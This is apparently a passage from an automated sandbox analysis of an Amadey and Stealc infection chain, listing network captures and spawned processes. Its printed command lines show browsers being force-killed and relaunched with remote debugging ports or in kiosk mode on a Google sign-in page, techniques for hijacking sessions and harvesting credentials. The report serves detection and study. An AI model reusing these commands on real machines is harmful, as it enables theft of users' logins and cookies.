2024-11-24 09:24:32 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 4c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 4c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.ML" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenML" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.5	49862	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:33 UTC	192	OUT	GET /rules/rule702651v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:34 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:33 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDEC600CC" x-ms-request-id: 68fcce2d-c01e-00a2-575d-3c2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092433Z-15b8b599d88vp97chC1TEB5pzw000000044g00000000d7pu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:34 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 36 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 65 64 69 61 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 65 64 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702651" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Media.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMedi

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.5	49863	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:33 UTC	192	OUT	GET /rules/rule702650v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:34 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:34 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDEA1B544" x-ms-request-id: cd7d831e-401e-0048-5f5d-3c0409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092434Z-15b8b599d88z9sc7hC1TEBkr4w00000004c0000000007p6y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:34 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 36 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 65 64 69 61 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 65 64 69 61 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702650" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Media" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMedia" S="Medium" /> <F T="2">

Target ID:	0
Start time:	04:23:04
Start date:	24/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x440000
File size:	1'864'192 bytes
MD5 hash:	BD3C9426F58B0AA58A0622B721F7C17F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.2107998827.0000000000441000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.2067711605.0000000004CA0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	04:23:08
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x6c0000
File size:	1'864'192 bytes
MD5 hash:	BD3C9426F58B0AA58A0622B721F7C17F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.2152371518.00000000006C1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.2111778278.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 53%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	04:23:09
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x6c0000
File size:	1'864'192 bytes
MD5 hash:	BD3C9426F58B0AA58A0622B721F7C17F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000002.2166546113.00000000006C1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000003.2126359848.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	04:24:00
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x6c0000
File size:	1'864'192 bytes
MD5 hash:	BD3C9426F58B0AA58A0622B721F7C17F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2618225636.0000000004C50000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	04:24:18
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe"
Imagebase:	0xe80000
File size:	4'349'440 bytes
MD5 hash:	3DE87DE137ED1ADCDE5DE7897A8C2C3F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 37%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	04:24:32
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe"
Imagebase:	0x9f0000
File size:	1'841'664 bytes
MD5 hash:	0A75820B356A011E9FA427D658F1E3C0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 37%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	04:24:41
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe"
Imagebase:	0xd70000
File size:	1'762'304 bytes
MD5 hash:	CB78B3CF97D74F0540679225A564E8B0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000002.3616618851.0000000001A42000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000002.3616618851.00000000019CE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000009.00000002.3616618851.00000000019CE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000009.00000003.3042712331.0000000005730000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000009.00000002.3600590681.0000000000D71000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	04:24:49
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe"
Imagebase:	0x9f0000
File size:	1'841'664 bytes
MD5 hash:	0A75820B356A011E9FA427D658F1E3C0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.3152697740.0000000001662000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.3164368128.0000000001676000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.3314647302.0000000001675000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.3252377166.0000000001675000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.3289641174.0000000001674000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.3229587357.0000000001674000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.3201101586.000000000165F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.3256030973.0000000001675000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.3152785870.0000000001674000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.3252003862.0000000001675000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.3261974882.0000000001674000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	04:24:49
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe"
Imagebase:	0x350000
File size:	923'136 bytes
MD5 hash:	2C54882BE674E76F31F1F13CFD331D55
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialFlusher, Description: Yara detected Credential Flusher, Source: 0000000B.00000003.3153308328.00000000017DF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	04:24:49
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x9f0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	04:24:49
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	04:24:51
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x9f0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	04:24:51
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	04:24:52
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x9f0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	04:24:52
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	04:24:52
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x9f0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	04:24:52
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	04:24:52
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x9f0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	04:24:52
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	04:24:52
Start date:	24/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	04:24:52
Start date:	24/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	04:24:52
Start date:	24/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	04:24:52
Start date:	24/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	04:24:53
Start date:	24/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	04:24:53
Start date:	24/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2344 --field-trial-handle=2076,i,9030642399667045359,14306914174560319043,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	04:24:56
Start date:	24/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2192 -parentBuildID 20230927232528 -prefsHandle 2136 -prefMapHandle 2120 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {55057f5d-f16e-4f69-8833-b78b222255b4} 6048 "\\.\pipe\gecko-crash-server-pipe.6048" 1e15e16d710 socket
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	04:24:57
Start date:	24/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5284 --field-trial-handle=2076,i,9030642399667045359,14306914174560319043,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	04:24:57
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe"
Imagebase:	0xd70000
File size:	1'762'304 bytes
MD5 hash:	CB78B3CF97D74F0540679225A564E8B0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001F.00000003.3229372369.0000000005710000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001F.00000002.3658723623.0000000000D71000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001F.00000002.3672144910.00000000019CB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	04:24:58
Start date:	24/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2556 --field-trial-handle=2516,i,6233154208295439855,16242932111608889233,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	33
Start time:	04:24:59
Start date:	24/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4160 -parentBuildID 20230927232528 -prefsHandle 3700 -prefMapHandle 3968 -prefsLen 26338 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {fbc5f12b-0f59-4048-a56b-678ab339fac2} 6048 "\\.\pipe\gecko-crash-server-pipe.6048" 1e16f218810 rdd
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	34
Start time:	04:25:01
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe"
Imagebase:	0x30000
File size:	2'833'920 bytes
MD5 hash:	9835CBFE3DC7AE0FEE6A1F29ECEAD86F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Has exited:	false

Show Windows behavior

Target ID:	36
Start time:	04:25:05
Start date:	24/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	37
Start time:	04:25:06
Start date:	24/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2676 --field-trial-handle=2144,i,222551570837177175,109196626454061472,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	38
Start time:	04:25:06
Start date:	24/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
